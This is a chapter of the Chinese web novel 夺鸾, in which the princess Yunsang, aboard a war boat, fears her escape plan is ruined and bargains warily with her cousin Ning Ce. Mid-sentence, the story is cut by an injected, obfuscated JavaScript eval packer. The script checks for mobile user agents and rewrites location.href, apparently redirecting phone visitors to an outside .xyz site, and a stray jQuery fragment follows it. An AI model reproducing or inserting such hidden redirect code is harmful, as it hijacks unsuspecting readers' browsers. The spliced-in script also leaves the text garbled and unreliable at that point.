5. 第 5 章

作品:《夺鸾

    秋兰拾掇完烘烤的鞋袜,从甲板回到了舱室,抬眼瞧见到云桑手上缠着的绷带,惊道:


    “郡主的手怎么回事?”


    “没什么,先前骑马被缰绳勒了下,已经上过药了。”


    云桑把案上的餐盘和粥碗推向秋兰,调转话题:


    “你来得正好,粥和饼都还热着,趁热吃吧。”


    秋兰确实有些饿了,确认云桑的手没事后,把盘里的饼块倒到粥碗里,坐到榻角埋头吃了半碗。


    忽又意识到什么,抬起头:


    “粥和饼还剩这么多,郡主是没怎么吃吗?”


    云桑道:“我没什么胃口,你不用管。”


    秋兰如何还吃得下,正想再劝,见一名侍从捧着食槅,进到了舱内。


    “炊室做的宵夜,殿下吩咐送来给郡主。”


    侍从将食槅放到案上,揭了盖,小心翼翼将鱼片端出,撤了碳槅,行礼退下。


    秋兰顿时惊喜:


    “好香!没想到船上这些呆头呆脑的兵士,居然也做得出这么精致的姜汁鱼片!”


    她取了食盘上的餐箸,奉给云桑:“郡主吃这个肯定能有胃口!”


    云桑垂目望向盘中,接过了秋兰递来的餐箸,顶不住被鱼香勾得有些饥肠辘辘,手却迟迟未动。


    秋兰不解:“怎么了?郡主不是从小就最喜欢吃鱼的吗?”


    她看了眼鱼片,见菜做得精致,鱼骨都仔细剔过的,绝不比宫里的差,郡主不可能嫌弃啊。


    是因为……在为眼下的境况犯愁吗?


    秋兰想起之前郡主说过的打算,斟酌问道:“郡主,还想着要离开大周的事吗?”


    “郡主实在真想走的话,要不然……去求一下魏王殿下,让他帮忙想办法?”


    秋兰谏言道:“郡主小时候跟魏王殿下那么亲,比起乐安公主更像他亲妹妹,昭容娘娘不许你们往来的时候,奴婢还偷偷帮郡主往玉瀛宫送了好多东西呢,殿下那么聪明,心里肯定记得郡主的好,不然也不会特意让炊室做鱼给郡主送来,他一定愿意帮忙的!”


    云桑沉默半晌,摇头道:


    “我不会去求他,你也别去找他。日出时,兵船要经过梁州,我们到时就找机会离开。”


    *


    姜汁鱼片做得实在鲜美,云桑抗拒再三,饶是手掌缠着绷带,用箸费力,还是终究没抵住诱惑,跟秋兰将鱼片分食了个干净。


    用完膳,内舱也已收拾妥帖,秋兰侍奉云桑简单洗漱,主仆二人合衣卧到榻上,稍作歇息。


    秋兰还在回味着鱼片的美味:“那做鱼的厨子手艺真不错,郡主你说该不会是什么大户人家里犯了事的,被贬罚到兵船上,伺候这些兵将吧?”


    云桑胡乱应了声“也许吧”,心里又开始后悔自己的意志不坚,非得吃了那鱼。


    她明明知道,那鱼是谁做的。


    云桑盯着榻帐熏球上的锈斑,意识也似随着熏球在江涛起伏中徐徐摇晃,脑海里,浮现起生平第一次见到宁策的情形 ——


    大周朝最尊贵的皇孙,缓步行在长安旧宫高大的黑漆木廊下,前行的侍者们手执长柄白玉垂熏香盏,整座廊路走过去,都是幽香扑鼻的。


    后来,他们流亡逃命,露宿荒野,带着没法走路的小诩和一直哭的乐安,什么尊严都再顾不得了。


    能换卖的东西,都换卖了。


    能求乞的时候,也都求乞了。


    宁策甚至会下河捉鱼,亲自杀鱼,满身泥泞,满手血腥。


    君子远庖厨。


    “反正我,早做不了君子了。”


    少年墨眸沉静,把做好的鱼喂到她嘴边,“你知道的。”


    云桑合上双眸,努力想将久远的记忆重新封存。


    在外人的眼里,那个人,总是那么温润和气,跟下人说话都透着一丝雅煦,面面俱到的,任谁遇到都会觉得心生亲近。


    可她,见过他的另一面。


    阴暗的地窖,满身的鲜血,扭曲的面容。


    正因见过那样的一面,前世在中书省拉住他衣袖时,她才那么害怕开口相求。


    她疏远过他,放弃过他。


    他后来不肯相帮,她亦不曾怨恨过。


    身逢乱世,谁也没有责任义务非得做个菩萨,牺牲自己的利益去救人。


    但倘若像萨鹰古说的那样,他能处心积虑地拿她做棋子、做筹码、做交易,那她,还能无怨无恨吗?


    云桑合了眼,但这一觉却睡得极不安稳。


    好不容易昏昏沉沉入了梦,没多久,又被一阵嘈杂喧哗惊醒。


    窗外,已经晨曦明亮。


    秋兰也被声音惊醒,下榻趿鞋:


    “奴婢去看看。”


    她开了隔门,去到外舱,少顷,神色慌乱地回来禀道:


    “兵船已经到了梁州,可……可骁骑卫军长也从略阳的官驿找了过来,说是昨晚有人送信回驿馆,让他们来接郡主。现在大船已经下了锚,骁骑卫的人就等在下面,梁州县府也派了人来!”


    如此一来,郡主的计划就全然行不通了!


    云桑在榻上撑坐起身,随即下榻更衣,出门去到外舱。


    外舱的纱屏旁,半扇檀窗轻启,透入江风晨雾。


    宁策一袭宽袖素衣,茕立在曦光之中,听见动静,转过身来,逆光濯濯。


    云桑径直越过他,走到窗前,伸手推开另外的半扇窗,朝外望去。


    河岸渡口连接着葱郁林原,几只舢板浮荡在兵船与河岸之间,上面排站着戎甲兵士。


    云桑暗咬了下唇角,低声问道:


    “是你送信去略阳官驿的?”


    她不是没想过行踪被传回略阳的可能,可船还行在江上,回程又是逆流,消息传得这么快,若非有人刻意为之,决计不至如此。


    “不是。”


    身畔男子的语气平静:“昨夜人多,或许,是阆江水师的人吧。”


    云桑唇线紧抿,一语不发。


    宁策看了她片刻。


    “不想有人来接你?”


    顿了一顿,缓缓又道:“还是,根本不想回去?”


    云桑心头一跳,侧头抬眼,朝他看去。


    宁策温和笑笑,神色澹然:“宫闱内人人如履薄冰,如陷囹圄,不想回去,也没什么不好理解的。”


    云桑望着宁策,视线游移片刻,再次侧头望向窗外:


    “我没说不想回去。”


    他猜到了。


    猜到她想逃。


    应是昨夜露出了破绽,又或许谎话原本就编得拙劣,反正好像从小到大,她都总骗不了他。


    也许,她该求一求他。


    就像秋兰说的那样。


    反正他什么都猜到了,她只要开口相求,总比什么都不做的好。


    江风清凉,自窗畔拂入,吹鼓纱帘翩扬。


    宁策伸出手,将缠蹭到两人面前的帘带轻轻拨开,又拉拢了些窗扇,挡住吹向云桑的凉风:


    “是我多想了。时逢乱世,你一个小姑娘,带着个婢女,又能逃去哪儿,靠什么为生。唐突误判,抱歉了。”


    云桑没说话,望着江面上载着士兵的舢板,扶在窗框上手指微微攥紧。


    她有机会的。


    她手中的云氏契纸里,有一份梁州矿山的凭证。


    前世她在突厥的互市了解到,矿藏稀有,在各国皆多为官治,民间矿山寥寥可数,因而苦恶价贵,令得各国在通市政策上对矿商格外通融。她手里有了这份凭证,就算没有路引,也能顺利进入别国地界。


    之后再靠身上的细软金银谋生,总能想法寻条活路。


    可如今……


    什么希望都没有了。


    一旦被带回去,宁策能猜出来的事,戚皇后大概也能。圣上病重,原本也无暇细问衣食住行这样的琐碎事,自己身边侍奉的人十有八九都是皇后的安排,如今只会更如铜墙铁壁,彻底断绝她将来离宫的任何希望!而秋兰这一次,也无论如何逃不掉被重责甚至杖杀的惩罚。


    云桑转向宁策,声音抑得极低:


    “你能不能,帮我把秋兰送走?”


    她不想求他,可眼下,似乎也没有别的选择了。


    “不能。”


    “现在,不能。”


    宁策缓缓道:“骁骑卫刚才已经见到秋兰了,知道她在船上,瞒不住。”


    他视线掠过女孩攥紧窗框的手指,“但我,或许可以送你们回去,想办法从中斡旋。”


    云桑抬起眼,“真的?”


    宁策亦低头看向她,目光沉静,“真的。”


    他眉眼宁静柔和,淡远雅致的仿佛从未沾染世俗尘埃。


    可云桑两世为人,知晓他前世所为,亦知晓再过不到两年,他就会出乎所有人的意料、毫无征兆地站上权力顶峰,这样的人,如今走的每一步,又怎么可能只是率性而为?


    云桑脑中诸般念头条条审断,抬起眼:


    “你是想借着送我,去什么地方对吗?”


    大周皇族,凡有封地,无诏不得离邑。


    浮梁河水域与宁策的封地魏郡相通,他乘船巡视其间,倒也罢了,但一旦上岸,便罪同抗旨,寸步难行。


    除非,他有足够


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824150|158763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的理由,让圣上也愿意网开一面的理由。


    而又有什么,是比护送她这个“饱受惊吓”、强赖着要他陪护的郡主更说得过去的理由呢?


    宁策亦判研注视着云桑。


    两年不见,她长大了。


    那双总是氤氲含雾的秋水眸,昨夜一直低敛,好似还像小时候那样,纯净带怯,莹莹柔软。如今一瞬不瞬地定定直视,方才让他窥见到一抹不同往日的情绪,像是燃烧着两簇深幽的火苗,水火交融地席卷着,又像是……只因晨曦映耀,让他一刹那,晃了神。


    宁策移开视线,笑了笑:


    “你是这样想的吗,阿梓?若如此,我便留在船上,哪儿都不去好了。”


    云桑的目光在他俊秀温润的侧颜上停留片刻,又倏然挪开。


    哪儿都不去?


    他怎么可能这么容易放弃。


    给骁骑卫的消息,送得那么快,那么及时,堪堪赶在船抵梁州时,逼得她别无选择。


    说什么传信的不是他,可禹仲修,不也是他的人吗?


    他算准了她无路可逃,无计可施,算准了……


    她只能求他。


    明明是他想利用她离开封邑,可偏偏非得,等着她开口相求。


    仿佛一切都在他的掌控中,只需他轻轻牵动网丝,就能静待猎物自投入瓮。


    云桑用力吸了口气,声音放软下来 ——


    “长平哥哥,”


    她像从前那样唤他,“我没有怀疑你的意思。”


    重逢至今,云桑其实,有些一直不知如何与宁策相处,心绪彷徨的,连谎话都忘了编得圆乎。


    所以如今这样,也好。


    至少彻底明白从今往后,该怎么面对他。


    “我只是不敢想,你如今还愿意不惜代价地帮我,毕竟我身世为人所鄙,当初又听了母妃的话,再没去玉瀛宫找过你……”


    云桑顿了顿,垂低眼眸,又旋即抬起,望向正移目注视自己的宁策:


    “所以,即使哥哥现在帮我,是为自己谋算,我也只会觉得释然,不会有半分介怀。能为哥哥所用,阿梓,甘之如饴。”


    *


    云桑返回舱室,开始收拾行装,又让人召来了骁骑卫军长。


    军长昨夜先是带人在浮梁山一带找寻云二郎,无功折返,回到驿馆又听说了郡主出城入山之事,顿时三魂吓飞两魂,胆战心裂。


    此刻好容易见到了郡主,总算松了口气。


    谁知云桑又吩咐他道:“你去浮梁山北的河边,帮我带一个人回来。”


    军长以为郡主还舍不下叔父,忙道:


    “如今州衙已调派官军入山,想来必能剿灭敌贼!末将的任务是护送郡主……”


    出发前长公主三令五申,要在五日内赶到泾阳汇合,哪里还敢耽搁?


    “剿灭敌贼又如何?”


    云桑打断军长,靠坐在榻上,语气突转艰难:“将军可知……”


    “可知我昨夜,被那些贼人……”


    “后来,有群逃难的百姓救了我,因而反过来被贼人追杀,四下逃窜。我和秋兰,随其中一人藏去了河岸,找到船只,方才脱险。可那人受伤太重,我只能将他留在河边的洞中,如今不知是死是活。”


    “昨夜事出仓皇,秋兰曾失声唤过我名号,若是……若是那些逃窜出去的人,将我的事说出去,我……”


    军长听到此处,三魂里仅剩的一魂,也眼见不保。


    郡主话说得隐晦,但言下之意他又岂能不知?这永安郡主虽不姓宁,但却是圣上最心爱的云昭容所出,自小养在帝侧,形同皇女,如今在自己的护送中失了贞,自己怕是死罪难逃!


    云桑低声道:“这件事,万不能传出去。”


    军长点头如捣蒜,“郡主所言极是!”


    “所以烦请将军,去把留在洞中的那人带回,容我问清昨夜与他同行诸人的身份下落。”


    云桑吩咐道:“此事只能将军亲自去办,莫要让旁人知晓,也不许让那伤者乱开口,堵了嘴,直接带回来藏好,若有一字泄露,我……我便自尽在路上。”


    军长伏地领命,“末将定不辱命!”


    他接了云桑事先写好的地点指引,行礼退了出去。


    秋兰关上门,有些不能理解:


    “洞里那个半死之人到底有什么要紧的,值得郡主这般编排自己……”


    云桑沉默一瞬:


    “他值得的。”


    能让宁策半夜追杀的人,必定不是寻常之辈。


    她要再入宁策的棋局,就必须也握住能反制住他的筹码。